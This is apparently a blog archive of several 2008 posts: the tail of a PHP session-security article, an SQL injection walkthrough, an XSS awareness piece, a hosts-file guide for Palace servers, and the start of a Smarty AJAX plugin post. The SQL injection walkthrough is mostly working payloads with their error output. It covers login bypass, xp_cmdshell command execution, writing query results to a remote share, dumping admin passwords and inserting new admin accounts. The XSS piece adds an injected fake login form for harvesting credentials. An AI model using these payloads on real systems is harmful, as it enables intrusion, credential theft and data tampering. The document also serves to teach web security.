Passing session data in URLs is not recommended since it is possible to pass your session onto another user if you give them a link which contains your session ID, and the session ID data is more easily attackable than in a cookie. URL-based session tracking should be used only where cookies cannot.

Using $_SESSION

PHP provides a super-global variable named $_SESSION. By super-global I mean it is a global variable which you may access without going via $_GLOBALS or stating global $_SESSION within a function. In this way, it behaves like $_GET and $_POST.

$_SESSION is, in fact, an associative array. The keys are variable names, and the values are the stored session data for that variable name.

Using $_SESSION is preferred over the use of session_register() to register ordinary global variables as session variables, especially when register_globals is enabled, since global variables may be more easily changed inadvertently than the contents of $_SESSION. It is still possible to alias ordinary global variables to their equivalents within $_SESSION,

$username = &$_SESSION["username"];

Here, the & indicates a reference, or alias. It is then possible to use $username instead of $_SESSION["username"], but note that $username is an ordinary variable, and you will have to access as $_GLOBALS["username"] or global $username from within a function.

Trusting Session Data

Since a session ID can be spoofed, it is always wise to perform some extra validation where possible. The simplest mechanism would be to store the IP address of the client to whom the session ID was issued, and compare the client IP against that stored IP every session. This will prevent the basic security problems associated with passing links between computers (though not if the computers are on a private network and share a single public IP address).

Session data is also stored in files on the server. The default location is /tmp on UNIX, or the system temporary file directory on Windows. If /tmp is world-writable (or, in some cases, world-readable), or there are multiple websites hosted on a single server, storing session data in a public location is not secure. PHP provides a way to change the way session data is stored.

Changing The Session File Path

The location in which PHP saves session data can be set using the php.ini directive session.save_path, or the string below in httpd.conf or a virtual host configuration.

php_value session.save_path "/home/andrew/sessions/"

It is important to ensure that your session data path is included in the paths allowed by open_basedir, if you have open_basedir settings or PHP Safe Mode enabled.

The data representation used for saving session data to files can be controlled with the session.serialize_handler directive in php.ini. By default, PHP uses its own built in format, but the WDDX ( http://www.wddx.org ) format can be used also. Set the type using one of the lines below.

(in php.ini ...)

session.serialize_handler wddx

session.serialize_handler php

(or in httpd.conf ...)

php_value session.serialize_handler wddx

php_value session.serialize_handler php

Storing Session Data In A Database

When you use on-disk files to store session data, those files must be readable and writeable by PHP. On a multi-user hosting system, it is possible for other users to access your session data through the PHP process (but see the commentary on open_basedir in part 5 of this series. The best way to secure your session data is to store it in a database.

Unfortunately, there is no direct way to store session data in a database using the php.ini directives, but luckily PHP provides a mechanism for customised session storage handlers. The function session_set_save_handler() allows you to register handler functions for session management. These functions must be written in PHP (or made available as a PHP extension).

session_set_save_handler(open_fn, close_fn, read_fn, write_fn,

destroy_fn, gc_fn)

To use these user-supplied session storage handlers, you must set session.save_handler to the value user, and the value of session.save_path should be the name of the database into which you're saving session data (so that the session save handler functions you define can locate and use that database). The value of session.name can be used as the name of the table within the database.

(httpd.conf)

php_value session.save_handler user

php_value session.save_path dbname

php_value session.name session_data

</Location>

Next, a table for storing session data must exist in the database. At the minimum, your session handler should keep track of the session ID, the expiration time, and the serialized session data. The SQL below creates a simple table for storing this data.

CREATE TABLE session_data (

sessionid text not null PRIMARY KEY,

expiration timestamp,

sessiondata text not null

);

The final task is to create the functions which manage this session store, and register them with session_set_save_handler(). The open_fn must open the database connection, the close_fn must close it and perform any associated cleanup tasks, and the read_fn and write_fn functions must read and write session data respectively. destroy_fn is called when a session ends and is destroyed, and gc_fn is called when session data is garbage collected. These operations must be mapped into database queries by your PHP code. The prototypes for the functions are given below, and parameters passed are explained.

function open_fn($save_path, $session_name)

$save_path is the value of session.save_path, $session_name is the value of session.name

function close_fn()

Takes no arguments

function read_fn($session_id, $data)

$session_id is the session ID for which PHP requests the associated session data to be returned

function write_fn($session_id)

$session_id is the session ID for which PHP requests that $data be associated with in the session store (database)

function destroy_fn($session_id)

$session_id is the ID of a session which may be removed from the store

function gc_fn($max_time)

$max_time is the oldest last modified time to retain in the session store. Sessions with an older modified time than this are to be removed from the store.

Implementing the above functions, you are not limited simply to database connections. You could, for instance, connect to some other data storage application, or store the session data in an encrypted virtual filesystem, or on a network file server.

Further Securing Sessions

There are a few remaining PHP directives for controlling sessions, several of these have security implications. Firstly, the session name (set with session.name) should be changed from the default to avoid collisions, especially on servers with multiple users.

The session.cookie_path directive determines the default cookie path, the path for which cookies will be sent in an HTTP request. If you have a forum at somedomain.com/forum, and somedomain.com/ does not require session management, you can change session.cookie_path as shown below.

php_value session.cookie_path /forum/

</Location>

This prevents sections of your site which do not require the session cookie from being sent it, and limits exposure of the session IDs to those parts of a site where sessions are actually being used. This is especially important if some sections of your site have pages provided by other users, who could use those pages to steal session IDs from your visitors.

Setting session.use_only_cookies to true disables the passing of session IDs in URLs, at the cost of losing sessions support for users with cookies disabled, or on browsers not supporting cookies. Setting session.cookie_domain to the most restrictive domain name possible (e.g. forum.somesite.com instead of somesite.com) also helps to minimise exposure of session IDs. Of course, if you have a single login for an entire range of subdomains, you will have to set the domain as somedomain.com to ensure that the sessions are correctly managed across all of the subdomains.

Finally, it is possible to set the hash function used when creating session IDs. The default is to use MD5 (hash function 0), but SHA1 may also be used (hash function 1). SHA1 is a 160-bit hash function, whereas MD5 is only a 128-bit hash function, so using SHA1 for session hashes improves security slightly over using MD5. You can set the hash function using This setting was introduced in PHP 5.

php_value session.hash_function 1

Beyond PHP Security

Everything I've covered so far has been directly related to PHP and SQL security. The best situation we can manage here is PHP Safe Mode, which uses self-imposed restrictions to improve security. That this is the best we can achieve is due to the server architecture currently in use. There are, however, a few options for taking security a little further, and imposing the restrictions at a lower level than PHP itself. To conclude this series, I'll mention some of these briefly here.

Chroot

Chroot changes the "root" directory that a process can see. This effectively locks it into a certain directory structure within the overall filesystem. With this approach, you can lock a web server into some directory such as /home/www and it will not be able to access anything outside of that structure.

There are several advantages to doing this. The first is that the web server, PHP, any user scripts, and also any attackers, will be contained within this chroot "jail", unable to access files outside of it. Furthermore, you can remove all but the most essential software from the chroot environment. Removing any shells from the environment prevents a large number of exploits which attempt to invoke a remote shell. The minimal environment inside a chroot makes life very difficult for attackers, no matter whether their method of attack is through a vulnerability in your PHP code, or a vulnerability in the underlying web server.

Apache mod_security and mod_chroot

mod_security and mod_chroot are extension modules specifically for the Apache web server. These two modules provide chroot support for Apache without externally applying a chroot technique. mod_security also provides several other security features. Further information is available at http://www.modsecurity.org/ for mod_security and at http://core.segfault.pl/~hobbit/mod_chroot/ for mod_chroot.

suEXEC and Multiple Server Instances

Using a chroot to lock your web server into a restricted environment helps to prevent some security problems, but one of the big issues is shared hosting. Running multiple websites on the same server requires that the web server process has access to each user's files. If the web server has access, so do the other users (subject to PHP Safe Mode restrictions, of course). There are two ways around this, one which is Apache specific, and one which may be deployed on any server environment.

suEXEC, specific to Apache, switches an Apache process to be owned by the same user as the script it is executing, losing any escalated permissions. This locks that Apache instance into the permissions held by that user, rather than the permissions held by the master web server process itself. This mechanism allows a return to the more traditional permissions system, and each user can be reasonably sure his or her files are protected. The cost of this is that an Apache process may not then be promoted back to regain permissions and switch user again to serve a different user's files. This system works best when there will be many requests for pages owned by the same user. suEXEC is explained in more detail at http://httpd.apache.org/docs/1.3/suexec.html

The alternative is to use multiple instances of the web server, each one running with the permissions of a different user. Each server then only has the permissions it needs to serve a single website, so a reverse proxy must be used as a front to all of these server instances, redirecting requests for a virtually hosted website to the Apache instance responsible for actually serving that site. This solution is the most secure, but also the most resource-hungry. Information about using Apache as a reverse proxy is available at http://httpd.apache.org/docs/1.3/mod/mod_proxy.html

How to check for PHP vulnerabilities

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting (XSS), Google hacking and many more vulnerabilities. For more information & a trial download click here.

Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

Final Words

This concludes the tour of PHP and SQL security. There is much more information available on the web about each security issue covered in this series, and many other issues also. In particular, several Apache modules exist for improving security through chrooting, reverse proxies, or simply checking requests for attacks such as directory traversal.

The PHP manual over at php.net points out any security concerns relating to most functions, and the comments posted by users below the reference pages often contain useful security hints and code samples.

I will leave you with this thought:

The key to good security is not to add it as an afterthought, but to plan your system with security in mind from the beginning.

Source: Website security

SQL Injection Walkthrough

2008-06-05T12:29:00.002+05:30

1.0 Introduction

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?

It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?

Any web browser.

2.0 What you should look for?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?

Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?

Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?

It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message

We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?

There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?

When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?

Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?

One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Cross Site Scripting - XSS - The Underestimated Exploit

2008-06-04T23:58:00.001+05:30

1. What is Cross Site Scripting?

Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. XSS commonly targets scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side. XSS in itself is a threat which is brought about by the internet security weaknesses of client-side scripting languages, with HTML and JavaScript (others being VBScript, ActiveX, HTML, or Flash) as the prime culprits for this exploit. The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page which can be executed every time the page is loaded, or whenever an associated event is performed.

A basic example of XSS is when a malicious user injects a script in a legitimate shopping site URL which in turn redirects a user to a fake but identical page. The malicious page would run a script to capture the cookie of the user browsing the shopping site, and that cookie gets sent to the malicious user who can now hijack the legitimate user’s session. Although no real hack has been performed against the shopping site, XSS has still exploited a scripting weakness in the page to snare a user and take command of his session. A trick which often is used to make malicious URLs less obvious is to have the XSS part of the URL encoded in HEX (or other encoding methods). This will look harmless to the user who recognizes the URL he is familiar with, and simply disregards and following ‘tricked’ code which would be encoded and therefore inconspicuous.

2. Site owners are always confident, but so are hackers!

Without going into complicated technical details, one must be aware of the various cases which have shown that XSS can have serious consequences when exploited on a vulnerable web application. Many site owners dismiss XSS on the grounds that it cannot be used to steal sensitive data from a back-end database. This is a common mistake because the consequences of XSS against a web application and its customers have been proven to be very serious, both in terms of application functionality and business operation. An online business project cannot afford to lose the trust of its present and future customers simply because nobody has ever stepped forward to prove that their site is really vulnerable to XSS exploits. Ironically, there are stories of site owners who have boldly claimed that XSS is not really a high-risk exploit. This has often resulted in a public challenge which hackers are always itching to accept, with the site owner having to later deal with a defaced application and public embarrassment.

3. The repercussions of XSS

Analysis of different cases which detail XSS exploits teaches us how the constantly changing web technology is nowhere close to making applications more secure. A thorough web search will reveal many stories of large-scale corporation web sites being hacked through XSS exploits, and the reports of such cases always show the same recurring consequences as being of the severe kind.

Exploited XSS is commonly used to achieve the following malicious results:

Identity theft
Accessing sensitive or restricted information
Gaining free access to otherwise paid for content
Spying on user’s web browsing habits
Altering browser functionality
Public defamation of an individual or corporation
Web application defacement
Denial of Service attacks

Any site owner with a healthy level of integrity would agree that none of the above can really be considered us frivolous or unimportant impacts on a vulnerable site. Security flaws in high-profile web sites have allowed hackers to obtain credit card details and user information which allowed them to perform transactions in their name. Legitimate users have been frequently tricked into clicking a link which redirects them to a malicious but legitimate-looking page which in turn captures all their details and sends them straight to the hacker. This example might not sound as bad as hacking into a corporate database; however it takes no effort to cause site visitors or customers to lose their trust in the application’s security which in turn can result in liability and loss of business.

4. A practical example of XSS on an Acunetix test site.

The following example is not a hacking tutorial. It is just a basic way to demonstrate how XSS can be used to control and modify the functionality of a web page and to re-design the way the page processes its output. The practical use of the example may be freely debated; however anyone may see the regular reports which describe how advanced XSS is used to achieve very complex results, most commonly without being noticed by the user. I encourage also those individuals with no hacking knowledge to try the following example, I am sure you will find it interesting.

1. Load the following link in your browser: http://testasp.acunetix.com/Search.asp, you will notice that the page is a simple page with an input field for running a search

2. Try to insert the following code into the search field, and notice how a login form will be displayed on the page:

Please login with the form below before proceeding:

<br><br>Please login with the form below before proceeding:<form action="destination.asp"><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>, then simply hit the search button after inserting the code.

Through the XSS flaw on the page, it has been possible to create a FAKE login form which can convince gather a user’s credentials. As seen in step 2, the code contains a section which mentions “destination.asp”. That is where a hacker can decide where the FAKE login form will send the user’s log-in details for them to be retrieved and used maliciously.

A hacker can also inject this code by passing it around via the browser’s address bar as follows:

http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+
the+form+below+before+proceeding%3A%3C form+action%3D%22test.asp%22%3E%3C
table%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D
text+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3C
td%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput +type%3Dtext+length%3D20
+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput
+type%3Dsubmit+value %3DLOGIN%3E%3C%2Fform%3E

This will create the same result on the page, showing how XSS can be used in several different ways to achieve the same result. After the hacker retrieves the user’s log-in credentials, he can easily cause the browser to display the search page as it was originally and the user would not even realize that he has just been fooled. This example may also be seen in use in all those spam emails we all receive. It is very common to find an email in your inbox saying how a certain auctioning site suspects that another individual is using your account maliciously, and it then asks you to click a link to validate your identity. This is a similar method which directs the unsuspecting user to a FAKE version of the auctioning site, and captures the user’s log-in credentials to then send them to the hacker.

5. Why wait to be hacked?

The observation which can be made when new stories of the latest hacks are published is that the sites which belong to the large brands and corporations are hacked in exactly the same way as those sites owned by businesses on a much smaller budget. This clearly shows how lack of security is not a matter of resources, but it is directly dependant on the lack of awareness among businesses of all size. Statistically, 42% of web applications which request security audits are vulnerable to XSS, which is clearly the most recurring high-risk exploit among all the applications tested. The effort to raise awareness about how easy it is for an expert hacker to exploit a vulnerable application does not seem to be going too far. It is still very common to see the “We’ll see when I get hacked” mentality still lingering among site owners who finally risk losing a lot of money and also the trust of their customers. Anybody with the interest to research this matter will see how even individuals claiming to be security experts feel comfortable to state that XSS is over-rated and cannot really be used to achieve serious results on a web application. However further research will also prove that statistical figures speak for themselves, and those same statistics keep growing at a rate which will eventually overcast the claims of those incredulous “experts”.

6. Scan your site for XSS with the Free Edition of Acunetix WVS.

Acunetix Web Vulnerability Scanner Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting. Acunetix encourages all site owners and developers to visit http://www.acunetix.com/cross-site-scripting/scanner.htm and to download the Free Edition of Acunetix WVS. This Free Edition will scan any web application for XSS and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the application) and indeed can surprise all those who really wish to see where their web site stands from a security point of view.

Windows, Linux, and Mac Hosts File Modifications

2008-06-03T17:05:00.001+05:30

Overview

Palace servers periodically try to connect to a directory server that is no longer there. With Unix and Linux servers, this results in nothing more than a few extra log entries. However, Windows and Mac servers can experience some lag when the server is trying to make this connection. To eliminate lag from this source, and to be listed on the new Live Directory at Palacetools.com, you can create or modify a Hosts file.

Windows

Locate the file "Hosts" on your computer:

Windows 95/98/Me c:\windows\hosts
Windows NT/2000/XP Pro c:\winnt\system32\drivers\etc\hosts
Windows XP Home c:\windows\system32\drivers\etc\hosts

(you may need administrator access for Windows NT/2000/XP)

NOTE: Hosts is the name of the hosts file and not another directory name. It does not have an extension (extensions are the .exe, .txt, .doc, etc. endings to filenames) and so appears to be another directory in the example above.

You may have a file called "Hosts.sam". This file is a sample Hosts file (the .sam stands for sample) and can be used by removing the .sam extension so the name is just "Hosts". This file should be edited with a text editor, such as Notepad, and not a word processor, such as Microsoft Word. Use whatever you normally use to edit your cyborg.ipt or pserver.pat file.

Add this line to the Hosts file:

71.155.186.91     directory.thepalace.com

Save your changes.
Reboot your computer.
Your server should now "register" with the Live Directory at palacetools.com.
If your Hosts file already contains an entry for directory.thepalace.com, then remove that entry. The above entry would be used in place of, and not in addition to any other directory.thepalace.com entry.
NOTE: Windows users should verify that they are showing extensions for all file types. This will help verify that the Hosts file is named correctly. To reset Windows to show all file extensions, double click on My Computer. Go to View Menu (Win95/98/ME) or Tools Menu (Win2000/XP), and select Folder Options. Click the View tab. In the Files and Folders section, DESELECT (uncheck) the item named "Hide file extensions for known file types". Click Apply, and then click OK.

Linux

Edit the hosts file on your system. The hosts file is usually found in
```
/etc/hosts  
```

Add this entry to the Hosts file:

71.155.186.91     directory.thepalace.com

Now make sure this file is used for host name lookups. This is done in two files. First is:
```
/etc/host.conf  
```
This file should have at least the line shown below:
```
order hosts,bind  
```
That has host lookups use the hosts file before doing a DNS query with bind.
The next file is:
```
/etc/nsswitch.conf  
```
Recent tests indicate that this file is required in order for the pserver to use the entry in /etc/hosts. The nsswitch.conf file should have this line for the hosts configuration:
```
hosts:      files nisplus nis dns  
```
There will probably already be a similar line in your version of this file. Just make sure "files" comes before whatever other methods are listed.
There is no need to reboot your system. Just restart your palace pservers.
Start up your palace.
It should now "register" with the Live Directory at palacetools.com.

NOTE: The above configuration instructions were tested with a linux 4.5.1 Palace server, and should also work with the linux 4.4.1 server. The 4.3.2 linux server did not respond to the above configuration when tested. Older versions were not tested.

Macintosh OS X

With Macintosh OS X, the procedure is similar to Linux above. The hosts file can be found in
```
/etc/hosts  
```

Macintosh OS 9

Look in System Folder:Preferences, and in the System Folder itself, and see if you have a file named "Hosts". If not, create one in a text editor.

Add these entries to the Hosts file:

paps.thepalace.com          A    127.0.0.1  
directory.thepalace.com     A    71.155.186.91

Spaces should work, but it is recommended that you separate the three entries on each line by tabs. The first line is the one that makes sure your downloads work, and the second line is the one that redirects your server's reporting information. Place the Hosts file in System Folder:Preferences and reboot your Mac. Start up your palace. It should now "register" with the Live Directory at palacetools.com.
If you have an older Mac that is using MacTCP instead of Open Transport, try putting the Hosts file in the System Folder.
Note from the Apple Tech Info Library:
This means that if you don't already have a Hosts file, and you just drop it in your System Folder and reboot, it will work. However, System Folder:Preferences is the default and recommended location for all systems using Open Transport.

Additional Configuration Options
You can configure TCP/IP to use the contents of this new Hosts file, which will activate the Hosts file without having to reboot.

To do this:
- Open the TCP/IP control panel.
- Get into Advanced user mode by:
  - selecting the User Mode command under the Edit menu.
  - In the User Mode dialog select Advanced then click OK.
- Click on the Select Hosts File button.
- In the File Open file dialog that comes up, naviagate to and select the Hosts file you created.
- Click on OK if it asks you if you are sure you want to replace the Hosts File with the contents of the selected file.
- Close TCP/IP control panel and click OK to save the configuration.
The above procedure will copy the contents of the file selected into the Hosts file in the Preferences folder, or create one there if none exists.

AJAX-enabled Smarty plugins

2008-05-27T19:49:00.005+05:30

Today I’ve created simple AJAX-enabled plugins for Smarty. I don’t try to develop powerful reach-applications framework. I can give you only idea how to integrate AJAX-technology into Smarty. But if you have any offers how to improve anything I’ve described or if you just want to leave feedback please post you comments on my site.

In my practice I need several things from AJAX: to update some nodes in DOM, to send forms without post-back, to retrieve some values or to perform server-side calculation (maybe using database or other server-side resources). It’s necessary to write tons of JavaScript to implement my requirements in spite of using cool JavaScript library Prototype.
I decided to integrate Smarty with AJAX. There are three Smarty plugins has been created: ajax_update, ajax_call, ajax_form. Below all this plugins will be described.

ajax_update

This Smarty function can be used for update some parts of web-page.
Sample usage:

<a  href="#" onclick="{ajax_update update_id='intro_content' function='update_intro' params='page=about'}">About</a>

Possible parameters:

url - URL for AJAX-query (when no URL was specified current one will be used)
method - query method (by default get, can be get or post)
update_id - ID of HTML element for update
function - function which will be called
params - URL-encoded parameters

ajax_call

This Smarty function can be used for call PHP function on server side and retrieve its output.

Sample usage:

